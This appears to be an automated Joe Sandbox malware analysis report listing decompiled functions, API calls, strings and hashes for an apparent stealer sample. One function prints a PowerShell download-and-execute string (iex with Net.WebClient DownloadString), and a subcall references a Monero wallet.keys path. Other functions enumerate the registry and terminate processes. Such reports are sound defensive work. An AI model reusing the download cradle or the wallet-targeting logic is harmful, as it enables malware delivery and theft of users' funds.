Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 6e7112a1090e53170db1269f3aacd3d3bbcd20091f7739e3756fe5f3f810020b
Instruction ID: 5e2490adbee031b1ba324f69549aca83cc08144a53b2712b133f9031dc86076c
Opcode Fuzzy Hash: 6e7112a1090e53170db1269f3aacd3d3bbcd20091f7739e3756fe5f3f810020b
Instruction Fuzzy Hash: 533117B4A40218ABDB24CF54DC85BDDB7B5EB48304F1081D8FB49A7284D7756EC58FA8

Function 00D4856C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00D485B6
wsprintfA.USER32 ref: 00D485E9
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00D4860B
RegCloseKey.ADVAPI32(00000000), ref: 00D4861C
RegCloseKey.ADVAPI32(00000000), ref: 00D48629

Part of subcall function 00D4AAB0: lstrcpy.KERNEL32(?,00000000), ref: 00D4AAF6

RegQueryValueExA.ADVAPI32(00000000,0167E578,00000000,000F003F,?,00000400), ref: 00D4867C
lstrlen.KERNEL32(?), ref: 00D48691
RegQueryValueExA.ADVAPI32(00000000,0167E4E8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00D50B3C), ref: 00D48729
RegCloseKey.ADVAPI32(00000000), ref: 00D48798
RegCloseKey.ADVAPI32(00000000), ref: 00D487AA

Strings

%s\%s, xrefs: 00D485DD

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 2e479fe2f2fafe260cc77294f3cb56e648e45ecebb41e07a5a40453b9fcd5a1b
Instruction ID: 416b2ef485ca1511785416f9f9ba663839c3ca512e12a75f4d77d97638dc8c02
Opcode Fuzzy Hash: 2e479fe2f2fafe260cc77294f3cb56e648e45ecebb41e07a5a40453b9fcd5a1b
Instruction Fuzzy Hash: EF21E671A10218ABDB24DB54DC85FE9B3B9FB48704F1081D8E649A6180DF75AA85CFE4

Function 00D499A0 Relevance: 10.6, APIs: 7, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00D499C5
Process32First.KERNEL32(00D3A056,00000128), ref: 00D499D9
Process32Next.KERNEL32(00D3A056,00000128), ref: 00D499F2
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00D49A4E
TerminateProcess.KERNEL32(00000000,00000000), ref: 00D49A6C
CloseHandle.KERNEL32(00000000), ref: 00D49A79
CloseHandle.KERNEL32(00D3A056), ref: 00D49A88

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: 5f6637b11a527216ed5212d75c8253464166b7133528a20a8f611c3bda072caf
Instruction ID: 4acc0c2ce93d1bbcd72627d2e7f566b7585a7c8fe33cecaee04de14706696d45
Opcode Fuzzy Hash: 5f6637b11a527216ed5212d75c8253464166b7133528a20a8f611c3bda072caf
Instruction Fuzzy Hash: B2212C70900218EBDF31DFA6C899BDEB7B5BB48304F0441C8E549A6284C779AF84CFA0

Function 00D47820 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D47834
RtlAllocateHeap.NTDLL(00000000), ref: 00D4783B
RegOpenKeyExA.ADVAPI32(80000002,0166C208,00000000,00020119,00000000), ref: 00D4786D
RegQueryValueExA.ADVAPI32(00000000,0167E518,00000000,00000000,?,000000FF), ref: 00D4788E
RegCloseKey.ADVAPI32(00000000), ref: 00D47898

Strings

Windows 11, xrefs: 00D4784D

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: d202537bc76400badeae5eae95c7bb2f575af51005a219f10c7a579806f0c1ed
Instruction ID: c387b4ca9a8ce0a84b5f67fb5ca8be365b8c7aa09f9e41a3d6ef2a4e4fb20089
Opcode Fuzzy Hash: d202537bc76400badeae5eae95c7bb2f575af51005a219f10c7a579806f0c1ed
Instruction Fuzzy Hash: 41016275A04304BBEB10DBE4DD49FAE7779EB48700F004094FA85A7284D779AA00CB70

Function 00D478B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D478C4
RtlAllocateHeap.NTDLL(00000000), ref: 00D478CB
RegOpenKeyExA.ADVAPI32(80000002,0166C208,00000000,00020119,00D47849), ref: 00D478EB
RegQueryValueExA.ADVAPI32(00D47849,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00D4790A
RegCloseKey.ADVAPI32(00D47849), ref: 00D47914

Strings

CurrentBuildNumber, xrefs: 00D47901

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: ca98b445e7d9697b1cf6744dcf5129bb88ad77f8ca8d7b41d5944e0a4cc02dfe
Instruction ID: c29fa34420f42d670389d9cab5e2108e0b204d3e24b84a6580f0538b9f954b17
Opcode Fuzzy Hash: ca98b445e7d9697b1cf6744dcf5129bb88ad77f8ca8d7b41d5944e0a4cc02dfe
Instruction Fuzzy Hash: 660167B5A40309BFEB10DBE4DC4AFAE7778EB08700F004594FA45A7284D7796A00CBA0

Function 00D3A110 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D3A13C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D3A161
LocalAlloc.KERNEL32(00000040,?), ref: 00D3A181
ReadFile.KERNEL32(000000FF,?,00000000,00D3148F,00000000), ref: 00D3A1AA
LocalFree.KERNEL32(00D3148F), ref: 00D3A1E0
CloseHandle.KERNEL32(000000FF), ref: 00D3A1EA

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c42ded494b43c4061459d135924f0142010a350c4eb0bd21115d97c8fad40528
Instruction ID: d31e8b24c9ee1a2ebcdb009c4fb3364a63e5774464d3792314d84f6c28780a1b
Opcode Fuzzy Hash: c42ded494b43c4061459d135924f0142010a350c4eb0bd21115d97c8fad40528
Instruction Fuzzy Hash: 9631DC74A00209EFDB14CF94D845FEE77B5EB48304F148158E951A7284D779AA81CFA1

Function 00D449D0 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0167E0E0), ref: 00D44A2B

Part of subcall function 00D48F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00D48F9B

lstrcat.KERNEL32(?,00000000), ref: 00D44A51
lstrcat.KERNEL32(?,?), ref: 00D44A70
lstrcat.KERNEL32(?,?), ref: 00D44A84
lstrcat.KERNEL32(?,0166B7C0), ref: 00D44A97
lstrcat.KERNEL32(?,?), ref: 00D44AAB
lstrcat.KERNEL32(?,0167D800), ref: 00D44ABF

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D48F20: GetFileAttributesA.KERNEL32(00000000,?,00D31B94,?,?,00D5577C,?,?,00D50E22), ref: 00D48F2F

Part of subcall function 00D447C0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00D447D0
Part of subcall function 00D447C0: RtlAllocateHeap.NTDLL(00000000), ref: 00D447D7
Part of subcall function 00D447C0: wsprintfA.USER32 ref: 00D447F6
Part of subcall function 00D447C0: FindFirstFileA.KERNEL32(?,?), ref: 00D4480D

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 403dae6bbc1ee8160b734dc98633eddec37ba7db719b7bbbbd5b41cf5324a58f
Instruction ID: 59c701a6d1a8473ade96aaf38616eebb60a695e400f7176e97b96b0c8aee92ed
Opcode Fuzzy Hash: 403dae6bbc1ee8160b734dc98633eddec37ba7db719b7bbbbd5b41cf5324a58f
Instruction Fuzzy Hash: 813152B69002186BDB25FBB0DC9AEED733CEB48700F404589B65596045EE79A7C8CFB4

Function 00D42EE0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00D4AA50: lstrcpy.KERNEL32(00D50E1A,00000000), ref: 00D4AA98

Part of subcall function 00D4ACC0: lstrlen.KERNEL32(?,01678F98,?,\Monero\wallet.keys,00D50E1A), ref: 00D4ACD5
Part of subcall function 00D4ACC0: lstrcpy.KERNEL32(00000000), ref: 00D4AD14
Part of subcall function 00D4ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00D4AD22

Part of subcall function 00D4AC30: lstrcpy.KERNEL32(00000000,?), ref: 00D4AC82
Part of subcall function 00D4AC30: lstrcat.KERNEL32(00000000), ref: 00D4AC92

Part of subcall function 00D4ABB0: lstrcpy.KERNEL32(?,00D50E1A), ref: 00D4AC15

ShellExecuteEx.SHELL32(0000003C), ref: 00D42FD5

Strings

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00D42F54
<, xrefs: 00D42F89
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00D42F14
')", xrefs: 00D42F03

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: 5b6083b1daf6375be203310fbee457d24b4edbaabbab364f951521ee9a975185
Instruction ID: 1dae40a1aed534d1d59beb79948aad4908a3fab6dd4645dfc0add03f16d2e712
Opcode Fuzzy Hash: 5b6083b1daf6375be203310fbee457d24b4edbaabbab364f951521ee9a975185
Instruction Fuzzy Hash: 45410870D402089BEB14FFA4C8A2BEDBB79EF14340F404559E40666192EF742A49CFB1

Function 00D44300 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0167D8C0,00000000,00020119,?), ref: 00D44344
RegQueryValueExA.ADVAPI32(?,0167DF48,00000000,00000000,00000000,000000FF), ref: 00D44368
RegCloseKey.ADVAPI32(?), ref: 00D44372
lstrcat.KERNEL32(?,00000000), ref: 00D44397
lstrcat.KERNEL32(?,0167DF30), ref: 00D443AB

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: fe9dabe7715b4fa5bc6f4620b3264af26a123966bf7b3e685450a5bf17f6947b
Instruction ID: e052b18eeea87d1b97cb77bfb5a3d3c43430ef8246fd387eca15f014e5f7c7a9
Opcode Fuzzy Hash: fe9dabe7715b4fa5bc6f4620b3264af26a123966bf7b3e685450a5bf17f6947b
Instruction Fuzzy Hash: 6C4199B69001086BDB25FBA0EC46FEE733DEB88700F004558B75656185EA7A5BD88BF1

Function 00DACBE2 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 00DACC1F
dllmain_crt_dispatch.LIBCMT ref: 00DACC36
dllmain_raw.LIBCMT ref: 00DACC7E
dllmain_crt_dispatch.LIBCMT ref: 00DACC91
dllmain_raw.LIBCMT ref: 00DACCA4

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E79000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000001006000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000011A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762622235.00000000012BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765492975.00000000012BD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765610094.0000000001459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765625771.000000000145A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_file.jbxd

Yara matches

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
Instruction ID: ea0d041163b58a1aeaa0538f504d098d92bc4333caab5b930d4916e8d6f5e815
Opcode Fuzzy Hash: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
Instruction Fuzzy Hash: CD219072D20628AFDB329F59CD41A6F3A79EB83BB0F095119F8196B211D7348D418BB0

Function 00D47F90 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D47FC7
RtlAllocateHeap.NTDLL(00000000), ref: 00D47FCE
RegOpenKeyExA.ADVAPI32(80000002,0166C400,00000000,00020119,?), ref: 00D47FEE
RegQueryValueExA.ADVAPI32(?,0167D9E0,00000000,00000000,000000FF,000000FF), ref: 00D4800F
RegCloseKey.ADVAPI32(?), ref: 00D48022

Memory Dump Source

Source File: 00000000.00000002.1762237620.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.1762225384.0000000000D30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762237620.0000000000D5C000.00000040.00000001.01000000.00000003.sdmpDownload File
